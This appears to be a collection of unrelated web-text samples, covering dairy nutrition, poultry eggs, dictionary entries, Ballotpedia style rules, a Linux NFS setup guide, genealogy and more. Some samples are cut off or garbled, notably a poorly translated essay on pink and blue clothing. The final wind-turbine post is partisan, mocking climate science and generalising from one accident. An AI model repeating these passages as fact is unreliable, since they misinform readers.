text:
Feed ingredients and forages can be nutritionally volatile, creating significant starch variation in a dairy ration. As producers and their advisors meet in the conference room (or kitchen), the conversation should lead to a better understanding of this volatility, and how managing it can greatly improve the efficiency of a ration.
By Kevin Leahy
The stability of a herd's ration directly affects milk production stability and efficiency. Here are some questions dairy producers should consider when evaluating ration consistency, and discuss with their herd nutritionist to consider options to improve the consistency.
1) What are some of the causes of nutritional volatility in a ration?
Nutritional volatility in a ration can be caused by a number of things. Some of the main causes can be a change in the type of feed ingredients being used, the harvest/storage/fermentation of forages included, and even the genetics of the forage crop. Often, these variations can be extreme even within the same bunker or truckload of feed, further adding to the volatility. Forage and feedstuff starch digestibility can vary greatly in both the speed of which it is digested, and where – specifically – in the digestive tract it is broken down. The key is knowing how to manage these differences to reduce negative "volatile" effects.
Consider factors that could change content within a ration. Ask your nutritionist if more frequent tests of ration content would be beneficial.
2) Are there signs that might indicate there is a challenge in a particular ration?
Yes, there can be many signs of trouble. The real challenge is realizing that it is in the ration, and doing so soon enough to avoid a train-wreck. One of the more common, short-term signs may include abnormal fluctuations in herd production – especially in butterfat composition of the milk. Longer-term effects might cause reduced reproductive performance. Unfortunately, the latter often occurs long after the problem began.
Carefully review milk component and production fluctuations and work with your nutritionist to evaluate how these may align with forage input changes in the ration.
3) What options are there for measuring starch content of a ration?
Measuring starch content in a ration has been an important step for nutritionists to evaluate inputs to a ration. Measuring crude – or total tract starch digestibility – can be done very effectively by sending feed samples in to a laboratory. These tests indicate the total amount of starch digested in the rumen and the lower gastrointestinal tract. More recently, we have gained technology allowing a nutritionist to test and balance starch content digested specifically in the rumen.
Ask your nutritionist for the latest insight and advice on various starch measurements.
4) How should test results and insights be used?
Knowing the starch content and expected speed of digestibility in the rumen is important, because of the potential effect on rumen parameters. For example, pH and the digestibility of other nutrients – and the resulting effect on milk production and component yield – can help guide ration balancing decisions that will allow for more optimal nutrient management. This may even help identify ways ration ingredient costs can be reduced or substituted with less expensive inputs, without sacrificing the nutrition needs for production goals.
Spend time with your nutritionist carefully evaluating your herd performance goals, and how ration changes might help achieve them – while still improving economic efficiency.
5) What can a producer expect as a result of more precisely managed starch?
When rations can be calculated to maintain optimum starch digestibility, improved feed efficiency and stable milk production can be more easily attained. From an efficiency perspective, rations can be developed that maximize production without wasting expensive starch sources, like corn. Or, alternative, less-costly feed ingredient options can be considered if you know what their digestible rumen starch might be, and how the ration consistency can be maintained.
Explore your options for various feed ingredients to help reduce ration cost. Working closely with your nutritionist to better understand rumen starch digestibility might help identify alternative, convenient and less-costly options that would allow you to maximize production goals and further minimize feed costs.
- Kevin Leahy is technical services manager for Calibrate™ technologies. Contact him via phone at 877-595-1361or e-mail: _EMAIL_.
Miss a 2010 Conversation?
Find these 'Conservations' columns at _URL_.
- January: Direct-fed microbials
- February: Lagoon management
- March: Corn silage quality
- April: BVD management
- May: Heifer management
- June: Udder health
- July: Pregnancy detection
- August: A TMR audit
- September: Transition cow nutrition and management
- October: Alfalfa seed selection
- November: Energy status at transition


text:
The authors analyzed commercially available data from five New Jersey communities to categorize food outlets based on the North American Industry Classification Codes. The authors integrated information from the databases with Internet searches and phone calls to refine the categorization of food outlets listed in the databases.
- There were substantial differences between the commercial food outlet database classifications and the researchers' revised database classifications.
- The reclassification found that there were three times as many convenience stores than indicated in the commercial database; one-seventh the number of supermarkets and grocery stores; and twice as many limited-service restaurants.
This research suggests that commercial food outlet databases provide a substantially healthier picture of community food sources than actually exists. The methodologies described may create a replicable approach to tailoring information from commercial databases for public health purposes.

source: openbmb/Ultra-FineWeb


text:
Defective or Abnormal Eggs in Poultry
Most "ridged," "sunburst," "slab-sided," soft-shelled, or double-shelled eggs are the result of eggs colliding in the shell gland region of the oviduct when an ovum (yolk) is released too soon after the previous one. Necropsy examinations have demonstrated that two full-sized eggs can be found in the shell gland pouch. As the second egg comes in contact with the first, pressure is exerted, disrupting the pattern of mineralization. The first egg acquires a white band and chalky appearance, while the second egg is flattened on its contiguous surface (ie, slab-sided). Pimpled or rough eggs may have been retained too long in the shell gland. Blood spots result when a follicle vessel along the stigma ruptures as the ovum is being released. Meat spots occur when a piece of follicle membrane or residual albumen from the previous day is incorporated into the developing egg.
Many abnormalities appear to have no specific cause, but the incidence is much higher in hens subjected to stressful management conditions, rough handling, or vaccination during production. A significant increase in the number of soft-shelled eggs is also common as a result of viral diseases such as infectious bronchitis, egg drop syndrome, and Newcastle disease.
Small eggs with no yolk form around a nidus of material (residual albumen) in the magnum of the oviduct. Small eggs with reduced albumen and eggs with defective shells may be the result of damage to the epithelium of the magnum or shell gland.
Very rarely, foreign material that enters the oviduct through the vagina (eg, a roundworm) may be incorporated into an egg.


text:
Economics Research Institute Study Paper
Utah State University Department of Economics
Copyright for this work is held by the author. Transmission or reproduction of materials protected by copyright beyond that allowed by fair use requires the written permission of the copyright owners. Works not in the public domain cannot be commercially exploited without permission of the copyright owner. Responsibility for any use rests exclusively with the user. For more information contact the Institutional Repository Librarian at _EMAIL_.
I describe the theoretical and empirical contributions that rigorous economic analysis can make in improving our understanding of the causes of and the solutions to a variety of international environmental problems. I do this by analyzing and summarizing the intellectual contributions of fourteen papers about the design and the implementation of international environmental agreements (lEAs).
Batabyal, Amitrajeet A., "Introduction and Overview of the Economics of International Environmental Agreements" (2000). Economic Research Institute Study Papers. Paper 178.


text:
TEL AVIV, Israel, July 19 (UPI) -- Israeli researchers say cigarette cravings may be more a result of habit rather than addiction.
Researchers from Tel Aviv University suggest their study finding may help explain why nicotine patches and gum are often ineffective but psychologically based smoking cessation programs can be successful.
The study, published in the Journal of Abnormal Psychology, concluded the intensity of cravings for cigarettes has more to do with psychosocial elements of smoking than with the physiological effects of nicotine.
"These findings might not be popular with advocates of the nicotine addiction theory, because they undermine the physiological role of nicotine and emphasize mind over matter when it comes to smoking," Dr. Reuvan Dar, the study leader, said in a statement.
Dar and colleagues monitored the craving levels of flight attendants -- both women and men -- during a long flight of 10-13 hours, as well as shorter two-hop trips where each leg lasted 3-5 hours. They found flight duration had no significant impact on craving levels. In fact, craving levels at the end of each short flight were higher than those at the end of the long flight, the study determined.
|Additional Health News Stories|
WASHINGTON, June 18 (UPI) --General Motors said it would recall 231,000 model year 2006-07 vehicles due to a short in the driver's door that could spontaneously cause a fire.

source: HuggingFaceFW/fineweb-edu


Harry Potter Wiki
12,313pages on
this wiki
Publication information
Brothers Grimm
Ronald Weasley: "What's that, an illness?"
Ronald Weasley and Hermione Granger on children's fairy tales[src]
Cinderella was a popular Muggle fairy tale by Muggle authors, the Brothers Grimm. In it, the protagonist waits for the return of a lost shoe.[1]
Squib author J. K. Rowling has noted the difference between this fairy tale and wizarding children's stories: fictional witches are much more active in seeking their fortunes than the Muggle fairy-tale heroines. Asha, Altheda, Amata and Babbitty Rabbitty are all witches who take their fate into their own hands, rather than waiting for someone to return a lost shoe, as the protagonist of Cinderella does.[1]
Hermione Granger mentioned it to Ron Weasley in 1997, as an example of something that she and Harry heard as children, instead of the classic wizarding tales by Beedle the Bard. Ron mistook "Cinderella" for an illness.[2]
Behind the scenes
Notes and references
 1. 1.0 1.1 The Tales of Beedle the Bard - Introduction
 2. Harry Potter and the Deathly Hallows - Chapter 7 (The Will of Albus Dumbledore)
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Definitions for justiceˈdʒʌs tɪs
This page provides all possible meanings and translations of the word justice
Princeton's WordNet
 1. justice, justness(noun)
 the quality of being just or fair
 2. justice(noun)
 3. judge, justice, jurist(noun)
 4. Department of Justice, Justice Department, Justice, DoJ(noun)
 1. justice(Noun)
 The state or characteristic of being just or fair.
 2. justice(Noun)
 The ideal of fairness, impartiality, etc., especially with regard to the punishment of wrongdoing.
 Justice was served
 3. justice(Noun)
 Judgment and punishment of a party who has allegedly wronged (an)other(s).
 to demand justice
 4. justice(Noun)
 The civil power dealing with law.
 5. justice(Noun)
 A judge of certain courts. Also capitalized as a title.
 Mr. Justice Krever presides over the appellate court
 6. justice(Noun)
 Correctness, conforming to reality or rules.
 7. Origin: justice from justise, justice (Modern justice), from iustitia 'righteousness, equity', from iustus "just", from ius 'right', from ious, perhaps literally "sacred formula", a word peculiar to Latin (not general Italic) that originated in the religious cults, from yewes-. Replaced native rightwished, rightwisnes "justice" (from rihtwīsnes "justice, righteousness", compare ġerihte "justice").
Webster Dictionary
 1. Justice(adj)
 2. Justice(adj)
 3. Justice(adj)
 4. Justice(adj)
 agreeableness to right; equity; justness; as, the justice of a claim
 5. Justice(adj)
 a person duly commissioned to hold courts, or to try and decide controversies and administer justice
 6. Justice(verb)
 to administer justice to
 1. Justice
The Nuttall Encyclopedia
 1. Justice
 1, High Court Of, one of the two great sections of the English Supreme Courts; 2, Lord Chief, the chief judge of the Queen's Bench division of it; 3, Lord Justice-General, supreme judge in Scotland, the Lord President of the Court of Session; 4, of the Peace, the title of a petty county or borough magistrate of multifarious duties and jurisdiction; 5, Lords Justices, judges of the English Court of Appeal.
The Roycroft Dictionary
 1. justice
 A system of revenge where the State imitates the criminal.
The Foolish Dictionary, by Gideon Wurdz
 Fair play; often sought, but seldom discovered, in company with Law. A chip of the old block--A daughter of the Tenderloin. K One man's meat is another man's finish--Canned Beef in Cuba. KANGAROO A hard drinker from Australia, especially fond of hops, and generally carrying a load.
British National Corpus
 1. Spoken Corpus Frequency
 Rank popularity for the word 'justice' in Spoken Corpus Frequency: #1522
 2. Written Corpus Frequency
 Rank popularity for the word 'justice' in Written Corpus Frequency: #2867
 3. Nouns Frequency
 Rank popularity for the word 'justice' in Nouns Frequency: #630
Translations for justice
From our Multilingual Translation Dictionary
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text:
Number of people in the world living with sight loss.
3 trillion (USD)
Real financial cost of visual impairment worldwide in 2010.
Every 5 seconds, a person in the world goes blind.
Visual impairment is a significant health problem across the globe. Although 80% of visual impairment is preventable, for the 40 million blind people across the globe, prevention is no longer the cure (World Health Organization, 2002).
The financial cost in New Zealand itself amounts up to $2.8 billion, or $22,217 per person with vision loss aged over 40 (RNZFB, 2009). Wellbeing, healthcare, productivity and deadweight losses are part of the economic cost for vision loss.
With the loss of sight, many people have to accommodate for a significant change of lifestyle. Compared to people who are sighted, people with vision loss experience:


Writing:Ballot measure overview articles
From Ballotpedia
Revision as of 17:06, 12 June 2013 by JWilliams (Talk | contribs)
Jump to: navigation, search
Clipboard48.png This ballot measure article needs to be updated.
So far, Ballotpedia has three types of overview articles about ballot propositions:
 - One year/one state overview articles like: Ohio 2008 ballot measures. These articles are an overview of the ballot measures in one state in one year.
 - One year/all states overview articles like: 2008 ballot measures. These articles are an overview of all the ballot measures in all states in one year.
 - One topic/all years/all states articles like: Alcohol ballot measures. These articles are an overview of ballot measures in any year and in any state that are related to a particular theme or topic.
One year/one state overviews
A one year/one state overview should include:
 - An introductory sentence or two that quickly gives the reader the basic facts. For example, "Three ballot measures were on the November 4, 2008 ballot in Massachusetts. Two succeeded, one failed."
 - A chart that shows all the ballot measures that were on the ballot in that state, that year.
 - You might consider a second chart that shows the ballot measures that tried, but did not succeed, at making the ballot. Doing this creates an important historical record. For example, it is historically important to know which ballot initiatives filed signatures but did not make the 2008 ballot in Arizona.
 - External links, such as links to any voter's guides compiled about the ballot measures, links to relevant election department information about the ballot measures, and so on.
 - It is also helpful to include a section that tells the reader how this year's ballot measures in this state fit into the overall picture of ballot measures in that state. Here's an example of that.
Future election
If you're working on a list of ballot measures for a state and year where the election has not yet been held--for example, Maine 2009 ballot measures -- for highly reliable research about what might be on the ballot in that state and in that year, go to State ballot measure websites to find a link to the election authority in the state you're working on that captures that information.
However, you'll sometimes run across a situation where a newspaper talks about a forthcoming or potential ballot initiative that hasn't been listed on an official government website. This can happen when:
 - A state legislature is debating about and voting on whether to refer a particular question to the ballot. Not until both houses of the state legislature have agreed to do this, and the governor has signed it, will this ballot measure ordinarily appear anywhere on an official election website in that state. But, it would still be worthwhile to start writing an article about it.
 - An organization or individiual has announced that they're thinking about collecting signatures for such-and-such a ballot initiative. This can also be worth starting an article about.
Past election
If the election has already been held, it's much easier to do your research.
 1. Go to state ballot measure websites for the elections website for your state. In some states, the election department has a list of all initiatives that have ever been on that state's ballot. (Wyoming and Washington, for example.) In most states, the election department does not provide a list of all the ballot propositions that have ever been on that state's ballot, but does provide information for the years since the election department started posting election information online. That can go back to 1998 or 2000 or 2002...it depends on the state.
 2. The Initiative & Referendum Institute publishes a list for each of the 24 states that have initiative & referendum of their ballot initiatives from the time the process was begun in that state, up through the year 2000. This list, however, generally does not include other statewide ballot propositions, such as veto referendum or legislative referrals.
 3. Project Vote Smart. This site has information about ballot measures back to 1998.
 4. Try to find a copy of your state's Blue Book; it might have information about all ballot measures (not just initiatives) going back in history.
Information to capture
What you'll want to know about any ballot measure is:
 1. What was it called? Here, you want at a minimum its official ballot proposition name or number.
 2. Did the ballot question have a nickname or a name by which it was popularly known?
 3. What day, month and year was it on the ballot. (Several states hold ballot proposition elections in months other than November).
 4. Type of ballot measure. Was it proposed by the legislature? Proposed through initiative? Or other? If it passes, would it be a new constitutional amendment or a statute?
 5. Subject of the ballot measure. For example: Administration of Government, Taxes or Judicial reform.
 6. Description: This is an 8-10 word description. Keep it short while not misstating the purpose or intention of the measure.
 7. Status: Some possibilities here are "Legislature considering", "Petition drive underway", "Ballot language filed", "Signatures filed, awaiting certification", "Certified for ballot", "Lawsuit pending", "Withdrawn", "Insufficient signatures", "State house approved, senate rejected."
 8. Outcome. Was the measure defeated or approved?
Preferred format for chart
Here's an example of a chart that shows the preferred format for a state/year article where the election has taken place. If the election had not yet taken place, the fifth column would be titled "Status" rather than "Outcome".
Type Title Subject Description Result
CISS Income Tax Repeal, Question 1 Taxes Repeal state income tax Defeatedd
CISS Sensible Marijuana Initiative, Question 2 Marijuana policy Decriminalize small amounts of marijuana Approveda
CISS Greyhound Protection, Question 3 Animal rights Prohibit (professional) dog racing Approveda
Chart style guide
Main article: Ballotpedia:Visual style guide
Ballot measure charts should be standardized to look like the one in the section just above. Here are some hints for how to do that:
State template
For every state, there is a state template. It is always just the name of the state surrounded on both sides by two curly brackets, or braces, like this:
 - {{alaska}}
 - {{alabama}}
 - {{arkansas}}
 - Etc.
Your one state/one year overview article should include that state's template at the bottom of the page. Here's an example. You apply the template by typing it on the part of the page where you wish it to appear.
Categorizing the article
It's important to put the right category tag at the end of your article. The established categorization procedure for one year/one state ballot measure overview articles is to put them in a category that looks like this:
 - [[Category:Alaska 2008 ballot measures]]
 - [[Category:Connecticut 2002 ballot measures]]
 - [[Category:Massachusetts 1998 ballot measures]]
 - [[Category:California 1914 ballot measures]]
 - Etc.
One year/all states
See also: Ballotpedia:WikiProject State Ballot Measures/Years
These articles are an overview of all the ballot measures in all states in one year. Here are some examples:
The format used in the 2008 ballot measures article is the preferred format. Most of the older articles need to be re-worked or expanded to meet that standard.
The article should be categorized as Category:2008 ballot measures, Category:2007 ballot measures, etc. Those categories, in turn, should be placed (if they aren't already) as subcategories of Category:Ballot measures.
One subject/all years/all states
See also: Ballotpedia:WikiProject State Ballot Measures/Years
All of these articles about ballot measure topics need significant additional work to be useful to readers.
Examples of some of the articles:
One state/all years
See also: Ballotpedia:WikiProject State Ballot Measures/States
Incomplete lists
If you are working on a list of all ballot measures for a year, or all ballot measures for a state, and the list is incomplete, please insert {{Incomplete}}, as displayed above, in the upper right-hand of the article. In order to do that, type:
BallotMeasureFinal badge.jpg
Ballotpedia's Ballot Measures project is managed by Brittany Clingen.


text:
Delta modeling is an approach to structured reuse within software product lines. Delta modules manifest changes associated with different configurations in realization artifacts, such as source code, by adding, modifying or removing affected elements. However, a dedicated delta language is required for each realization language, e.g., DeltaJava for Java.
DeltaEcore is a tool suite for swift creation of delta languages that can seamlessly be integrated into the provided variant derivation procedure of a software product line. Its main constituents are a use-friendly graphical editor for feature models, a powerful configurator to allow valid selections of features and their versions as well as a variant derivation procedure to allow creation of specific products of a software product line.
The project HyVar utilizes DeltaEcore to model variability in Hyper-Feature Models, define a delta language for Yakindu and generate variants from state charts. Furthermore, HyVar extends the tool suite to make it suitable for capturing variability in time in Temporal Feature Models (TFMs), to allow easy and flexible reconfiguration by interfacing with HyVarRec and to make product lines context-aware through models specifically tailored to modeling context and its evolution.
The consequent model-based implementation of the HyVar tool chain allows for traceability of artifacts and changes on them, so that analyzes can identify and reduce potential errors in the complex overall structure of a software product line. Hence, the development on DeltaEcore and the research in HyVar are symbiotic in that they create an enhanced expressiveness and increased quality in software product line development along with an improved user experience through dedicated editors.


text:
Major Project 2012
In 2011, just over 35 percent of couples who married in 1986 had divorced before their silver wedding anniversary. 'Together | Apart' allows parents to understand the effects a family separation has on young adults through three case studies.
A typographic system is used as a means to portray the heightened emotion and level of stress different events within a family separation will cause. The higher on the stress scale an event is, the more warped the text becomes. This makes the text increasingly hard to read, and mimics the warping, changing and unpredictable nature of grief. This is also reflected in the process in which the
warped text was created. By distorting the text on the photocopier, not one result is the same. This means
that every page in the booklet is unique, which further emphasises the fact that everybody's reaction to grief is different. The project aims to open up the channels of communication between parents and children during
this distressing time.
Awarded membership into the International Society of Typographic Designers


Student Thesaurus
One entry found for shibboleth.
Entry Word: shibboleth
Function: noun
Text: 1 an attention-getting word or phrase used to publicize something (as a campaign or product) -- see SLOGAN
2 an idea or expression that has been used by many people -- see COMMONPLACE


text:
Linux Network File System (NFS)
Linux Server Setup
NFS requires RPC to operate. The following daemons are run when the linuxconf nfs service is started:
- rpc.rquotad - Enforces the set quotas for remote mounted NFS systems.
- rpc.mountd - Performs the requested mounts.
- rpc.nfsd - Handles the user interface to the kernel module that performs NFS.
To set up the server side:
- Edit the file "/etc/exports" as in one of the examples below.
- Then type "exportfs -a".
- Activate NFS services using linuxconf.
- After making any changes, restart the nfs daemon either by using "linuxconf" or typing "/etc/rc.d/init.d/nfs restart". Also if you want changes to the /etc/exports file to take place immediately, install them with the "exportfs -r" command. Doing this, you will not need to restart nfs for changes to be in effect.
This is an example of an exports file for general use:
/data markslinux(rw,no_root_squash) tomscomputer(ro)
The third line allows markslinux to have full access even at the root level to all files in /data, but tomscomputer has read only access, at the world (other) level.
This is an example of an exports file set up for diskless computers with remote booting:
The format of the file is:
The hostname can be the IP address followed by the netmask as shown above.
- no_root_squash - Allows root users on client computers to have root access on the server. Mount requests for root are not be mounted to the anonomous user. This option is needed for diskless clients.
- root_squash - Requests from root clients are mapped to the nobody user and group ID so they will only have file privileges associated with other.
- ro - read only access
- rw - read write access
There are many more options documented in the exports(5) man page.
Performing the mount from the client
To do the mount on the remote machine:
- On the remote boot machine, "linux3", after making a /tmp/mnt directory on the remote machine "linux3", type "mount -n 10.1.0.100:/tftpboot/lts/linux3 /tmp/mnt -t nfs".
- The -n is only needed if the /etc directory on the remote boot machine is read only.
- The 10.1.0.100 address is the address of the NFS server machine with the filesystem being mounted.
To set up the client side on a fully functional Linux machine type "mount -o rsize=1024,wsize=1024 mymachine:/data /mnt/mymachine/data


text:
Fieldwork opportunities for occupational therapy students studying outside Canada
If you are an occupational therapy student studying outside of Canada and interested in a fieldwork placement in Canada, please note that you must:
- choose only one city/catchment area of Canada to inquire about a potential placement.
- arrange to have your home university fieldwork coordinator contact the Canadian university fieldwork coordinator for the catchment area in which you would like to have the placement*. – make this contact at least six months prior to the beginning of the placement.
- gather more information about the method of application, associated costs, student requirements, and placement availability from that particular Canadian university fieldwork coordinator.**
- get the contact information you need: Canadian university catchment areas and fieldwork coordinators
*Please note that students interested in fieldwork opportunities are not allowed to directly contact any Canadian fieldwork facilities or universities asking about placements. This is a strict rule throughout Canada for both Canadian and international students.
**The University of British Columbia is not involved with arranging placements for international students in British Columbia and the Yukon Territory. International students seeking placements in British Columbia or the Yukon must have their fieldwork coordinators contact the placement sites directly.
- Placements for international students within Toronto and surrounding Greater Toronto area are unlikely as these placements are in high demand by Canadian OT students and Canadian students are given priority over international students.
- Placement availability during the Canadian summer (Jul-Aug) is unlikely due to high demand and low capacity.


text:
noun (plural winterberries)
- A North American holly with toothed, non-prickly leaves and berries which persist through the winter.
More example sentences
- Genus Ilex, family Aquifoliaceae: several species, in particular I. verticillata
- While its needles are still alive and fresh, we decorate the tree with colorful glass globes, tinsel, red winterberries from a deciduous holly, spruce and fir cones, and cotton to simulate snow.
- Plant lower-growing, berry-laden shrubs, such as winterberry and chokeberry, as a bridge from the trees to ground covers.
- Holly, winterberry, cotoneaster and many other food-bearers yield nutritious fare that's more appealing to a wider variety of birds than commercial food.
More definitions of winterberryDefinition of winterberry in:
- The US English dictionary


text:
I had always thought low pH foods had a noticeable sour (acid) taste, and vice-versa.
But when reading The Bread Builders by Daniel Wing & Allan Scott, on page 54, it says:
The sour taste of especially sour naturally leavened bread comes more from the total amount of acid in the bread than from the pH of the bread.
After knowing that, someone I know made the following experiment:
- Measured the pH of vinegar with a ph-meter.
- Prepared a solution of Spirits of salt with the same pH.
- Drink both.
Pure vinegar tastes much more acid than spirits of salt. In fact, the last one has almost no acid taste.
So, it seems my initial thoughts were wrong. Why? Also, what makes we perceive foods as acid tasting?
After some research (thanks to rumtscho's comment) I have found that taste buds detect the presence of H+ ions (as cited in the Wikipedia article on Gustatory system).
But still don't know why when drinking Acetic Acid (vinegar) sourness is sensed more than when drinking HCl (Spirits of salt), if both of them are diluted to have the same pH.
Update 2: After _USER_ Stranger's answer it is clair that sour taste is given by anions (and not H+ ions), as written in this question's last update.


Silbannacus – 249 AD
Spread the love
Ca 248AD
Marcus Silbannacus was a usurper during the reign of Philip I. History has not been kind to Silbannacus since it has failed to record his existence. Silbannacus is known only from a single coin which now resides in the British Museum. Silbannacus most likely led a very short lived rebellion around 248 AD on the Rhine perhaps about the same time period as Pacatian in the Balkins. He was most likely killed by his own troops since there is no record of a confrontation between himself and Philip I.
Monetary System
Mints: unknown
Obverse Legends:
Note: The style of this unique coin and its fabric places its time of mintage to the reign of Philip I.
AR Antoninianus (unique)
Monetary History of the World
 ©Martin A. Armstrong


text:
The Trevelyon Miscellany: Embroidery
Word & Image:
The Trevelyon Miscellany of 1608
|on exhibit January 23 - May 22, 2004
Miscellany is probably best known today for its embroidery patterns,
which make up nearly one hundred pages of the volume.
is possible Thomas Trevelyon was a professional "drawer"
who outlined embroidery designs on fabric for others to fill in
with appropriate stitches. In addition to the obvious embroidery
patterns, almost any of Trevelyon's portraits and figural scenes
can be envisioned in pictorial needlework.
Miscellany contains twenty cap patterns in all,
the only patterns in the book explicitly intended for clothing.
Miscellany, fol. 266r
(Embroidery pattern for a cap)
Word and Image: The Trevelyon
Miscellany of 1608
Trevelyon: the man and his sources | History
and Religion |
and Calculations | Memento
Mori | Proverbs
| The Old
Testament | Lettering
| A Quest for Order
| Women | Astronomy
Exhibition Intro | Visiting
This page updated March 26, 2004


text:
Surname – PATER
Meaning/Origin – The name PATER comes from the Latin pater, meaning "father". In English, it is pronounced PAY-ter or PAH-ter. Hear it pronounced by a Polish speaker here.
Countries of Origin – The surname Pater can be found in several countries. According to the World Names Profiler, the countries with the highest frequency per million residents are the Netherlands, with 176, and Poland with 115. The next highest countries (and their respective frequency per million) are Luxembourg (43), France (8), Belgium (7), Canada (6), United States (6), and Germany (5). Although Great Britain is not currently listed with a high frequency, in past centuries Pater was also considered to be a British name.
Spelling Variations - The spelling does not vary in the Netherlands, but in Poland you will find a few variations, including Patera, Paterak, Paterała, Paterek, Paterkiewicz, and Paterski. (Source: Polish Surnames: Origins and Meanings, Second Edition by William F. Hoffman)
Surname Maps – The following maps illustrate the frequency of the PATER surname in the Netherlands and Poland. According to _URL_ there are about 1,500 people with the surname in the United States, with the heaviest concentration in Pennsylvania.
SOURCE: familienaam.nl database, _URL_ accessed October 10, 2009.
SOURCE: Mojkrewni.pl "Mapa nazwisk" database, _URL_ accessed October 10, 2009.
Famous Individuals with the Surname – Walter Horatio Pater (4 August 1839 – 30 July 1894) was an English writer and art critic (see some of his works here at Project Gutenberg). Jean-Baptiste Pater (29 December 1695 – 25 July 1736) was a French painter.
My Family – My Pater family comes from Poland. My earliest ancestor so far with this name is Hilary Pater, born between _PHONE_ in Poland. My line of descent is as follows: Jan (b. 1834, Kamieńskie Budy) > Jozef Pater (b. 21 Sep 1864, Ruda Guzowska, which later became Żyrardów) > Ludwik (Louis) (b. 24 Aug 1893, Żyrardów) > Henry (b. 25 Mar 1912, Philadelphia). Jozef and his family immigrated to the U.S. (Philadelphia, PA) from 1905 to 1907.
A female Pater (daughter of Jozef) may have settled in New Jersey or New York with her husband and family. The family is rumored to have cousins in Chicago as well (possibly owners of a movie theater in the 1940′s).
Based on information in the IGI, my great-grandfather's cousins remained in Żyrardów – Jozef (son of Marcin, brother of my Jozef) died in 1942 at the age of 45, and his son Bronislaw died in 1943 at the age of 22. I can only assume they died as a result of the war, but more research is needed about their lives and deaths.
My Research Challenges – I need to find evidence of Hilary's birth, marriage, and death in Polish records. He was named on his son's marriage record, but I have not yet located his own records. I would like to trace the name as far back as possible to determine if the family immigrated to Poland from somewhere else. In addition, I would like to track down the descendants of my grandfather's (Henry's) brothers, Walter Pater and Eugene Pater (Walter used the alias Walter Miller) and fill in some missing information about my great-grandfather's sisters and their families.
Other Pater Families – The Family Organisation Pater in the Netherlands is led by Bram Pater. They have researched over 30,000 names in seven different Pater lines – including some in Poland (though not my own branch). If you can read Dutch, check it out!
Surname Message Boards – There is a rather inactive message board on Ancestry here.
Miscellaneous - The American Soundex code for Pater is P360 and the Daitch-Mokotoff Soundex Code is 739000. There are 386 individuals in the U.S. Social Security Death Index with the surname Pater (four are related to me – Elizabeth, Henry, Mae, and Eugene).
This post is #1 of an ongoing series about surnames.


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It seems as normal as the world dress boys in blue and girls pink. In fact, we would not at all strange if a girl you put a blue outfit but what if a child what to wear pink? It seems unthinkable, right?
Well, I discovered that in the nineteenth century wore backwards, ie, girls and boys blue rose, though more common than not to do or a color or otherwise, but dressed in neutral colors such as gray, white, brown, veige …
Each color is associated with a meaning and is associated with certain qualities or characteristics. Thus, the blue is identified with the calmness, purity, tranquility, nature (the blue sky or the sea), while red is more about passion, courage, honor, stoicism. Pink could be more innocent version of this color and thus was used in childhood.
At what point is turned the tables? Well it looks like the first signs feminists, the struggle for gender equality, the effort to avoid differences and prejudices between the sexes. They wanted to avoid that already, from small, barriers will be marked distinctions in clothing for infants and was passed to change this tradition. Dressing up a blue boy and a girl in pink, was an act of rebellion against stereotypes. Although it appears that this industrial action fell into a new tradition.
The point is that, without realizing it, and we are making certain conduct prejudiced in infants and there is still too rooted tradition in relation to this issue. Many mothers fleeing her and dress their children as they want, regardless of color association is implied. However, it is a losing battle as the market and society are not yet preperados for a change. Chances are that the girl likes the dolls, 90% of cases go dressed in pink and cartoon-like Hello Kitty, whose world is in pink, while children will feel more attracted to Superman or Spiderman, painted mainly in red and blue.
To see if any brave to create a princess with a blue dress and pink tights superhero. Perhaps this could be the beginning of a change.


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In MENA, household food insecurity, which is closely related to poverty and undernourishment, is most severe in rural areas and concentrated within Iraq, Sudan, and Yemen. 25% of the MENA population may be poor and 7% undernourished. The key to increased national and household-level food security is pro-poor growth, driven by export-oriented, labor-intensive sectors. Agricultural sector policies should be subordinate to the pro-poor growth goal and not to the goal of food self-sufficiency. Such a strategy requires conflict resolution; macroeconomic stability; physical and human capital accumulation; reliance on markets and the private sector, and diffusion of ecologically friendly farming practices.
International Food Policy Research Institute (IFPRI)


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Why Wind Turbines Explode
During the recent storms that hit Scotland a £2 million 328 foot tall wind turbine exploded and rained shrapnel and fire on the surrounding area, all caused by a 50mph wind.
As usual the so called "Renewable Energy" experts are calling it a freak accident with only a 1% chance of the accident happening.
There are 2 serious problems that afflict wind turbines, blade failure and gearbox failure, the latter failure usually results in the wind turbine catching fire; it is a problem that the renewables industry has long been aware of:
Renewable energy experts have dismissed an incident where a wind turbine caught fire in gale force winds as a "freak" occurrence.
The 328ft (100m) tall turbine, at Ardrossan Wind Farm, near the A78 in North Ayrshire, was destroyed after it exploded into flames which could be seen "far and wide".
Charles Anglin, of RenewableUK, the trade and professional body for the UK wind and marine renewables industries, stressed that wind turbines were regularly subjected to "some pretty tough conditions" without problems.
He said: "There's some pretty freak weather going on and any piece of large power generating equipment can be subject to freak accidents or mechanical faults.
So lets consider the new fear story from the Church of Climatology, Anthropogenic Global Warming is allegedly going to cause more extreme weather events and one of the ways to combat their belief in man made climate change is the use of low carbon methods of electricity generation, so the big question is how will wind turbines be of any use in world which is going to be subject to extreme weather events for the forseeable future?
There are long standing problems with the gearbox in wind turbines as Renewable Energy World reported:
The gearbox's reputation for a high failure rate is linked to the extreme engineering challenge that gearbox technology faces in wind applications, and the difficulty in properly assessing the loads – and in particular the non-torsional loads that pass through the gearbox – and how these affect bearings and gears. Some manufacturers have chosen to move to direct drive to reduce the number of moving parts in the wind turbine more exposed to wear. But this has led to wind turbine specific generator designs that are usually more expensive and often come together with a long-term maintenance contract with the Original Equipment Manufacturer (OEM), which does not necessarily meet the operations and maintenance (O&M) concept of flexibility expected by customers.
Of course, much has been done in the last decade to design and manufacture gearboxes ensuring a high quality, often with associated with over-engineering and increased cost. Many efforts are also being put in to performing proper monitoring and maintenance to detect and prevent any avoidable damage. These efforts have limited gearbox breakdowns in infancy, and sometimes allowed some maintenance activities to be initiated earlier than before, but they have not helped resolving a key cause of the problem: the rotor support concept, and how it distributes loads among the wind turbine structure and the gearbox.
The gearbox in each turbine holds between 200 – 500 gallons of fossil fuel sourced oil and so far no company has come up with a lubricant that can cope:
To date no gear oil has been invented to withstand the pressures produced within these transmissions. Recently, the U.S. government gave Dow-Corning a big grant to work on it. Previously, many others had tried and failed.
The gearbox is barely up to the job, and there is no lubricant currently available that can effectively lubricate the gearbox and wind turbines are supposed to provide secure and reliable energy, the big question is how?
In high winds the turbines are supposed to feather, in the same way a propeller on an aircraft is feathered if there is an engine failure, essentially the blades should cease to rotate.
